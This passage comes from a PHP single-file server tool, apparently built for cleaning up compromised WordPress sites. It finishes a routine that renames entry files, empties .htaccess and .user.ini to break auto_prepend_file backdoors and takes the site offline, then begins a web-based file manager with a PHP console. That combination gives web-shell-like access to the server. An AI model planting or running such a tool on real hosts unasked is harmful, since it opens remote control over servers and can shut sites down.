.htaccess.locked)':'清空失败'); } else { $log[]=array('step'=>3,'path'=>'.htaccess','action'=>'skip','ok'=>true,'msg'=>'文件不存在'); } // === STEP 6: 检查是否有 .user.ini(常被用来 auto_prepend_file 加载木马) === $userIni=$root.'/.user.ini'; if(file_exists($userIni)){ $uiBak=$root.'/.user.ini.locked'; if(!file_exists($uiBak)){ $uiContent=@file_get_contents($userIni); if($uiContent!==false)@file_put_contents($uiBak,$uiContent); } _aq_force_chmod($userIni,0644); $wOk=@file_put_contents($userIni,"; locked by isolate v3\n"); $log[]=array('step'=>4,'path'=>'.user.ini','action'=>'clear + backup','ok'=>($wOk!==false), 'msg'=>$wOk!==false?'已清空(备份到 .user.ini.locked)':'清空失败,可能有 auto_prepend_file 后门'); } // === STEP 7: 最终复验,列出根目录当前状态 === clearstatcache(true); $verify=array(); // 列出应该已经消失的原名 foreach($entryFiles as $orig=>$locked){ $src=$root.'/'.$orig; $dst=$root.'/'.$locked; if(file_exists($src)){ $verify[$orig]='⚠ 仍存在(断链失败)'; } elseif(file_exists($dst)){ $verify[$orig]='已封 → '.$locked; } else { $verify[$orig]='不存在'; } } foreach($entryDirs as $orig=>$locked){ $src=$root.'/'.$orig; $dst=$root.'/'.$locked; if(is_dir($src)){ $verify[$orig]='⚠ 仍存在(断链失败)'; } elseif(is_dir($dst)){ $verify[$orig]='已封 → '.$locked; } else { $verify[$orig]='不存在'; } } // 检查 .htaccess 是否已清空 if(file_exists($ht)){ $sz=@filesize($ht); $verify['.htaccess']=($sz!==false&&$sz<200)?('已清空 ('.$sz.' bytes)'):('⚠ 未清空 ('.$sz.' bytes)'); } json_out(array('ok'=>true,'root'=>$root,'log'=>$log,'verify'=>$verify,'kill_info'=>$killResult, 'mode'=>'v3_pure_isolate','note'=>'纯断链模式:WP已完全停机,访问网站会返回404/白屏,本工具继续可用')); } json_out(array('ok'=>false,'error'=>'unknown api'));} // PHP Console error handler (PHP 5.2 compatible) $__aq_console_errors=array(); function _aq_console_err_handler($errno,$errstr,$errfile,$errline){ global $__aq_console_errors; $types=array(E_WARNING=>'Warning',E_NOTICE=>'Notice',E_STRICT=>'Strict',E_DEPRECATED=>'Deprecated'); $label=isset($types[$errno])?$types[$errno]:'Error'; $__aq_console_errors[]=$label.': '.$errstr.' (line '.$errline.')'; return true; } $rel=g('path');$target=safe_real($rel);if(!$target){$target=($rel==='')?getcwd():(safe_real(getcwd().'/'.$rel));if(!$target)$target=getcwd();}if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash(); ?>Server File Manager
⬆️Parent 🏠Root
Current Path
PHP | User:
NameTypeSizeModifiedPermsActions
📄 📂📂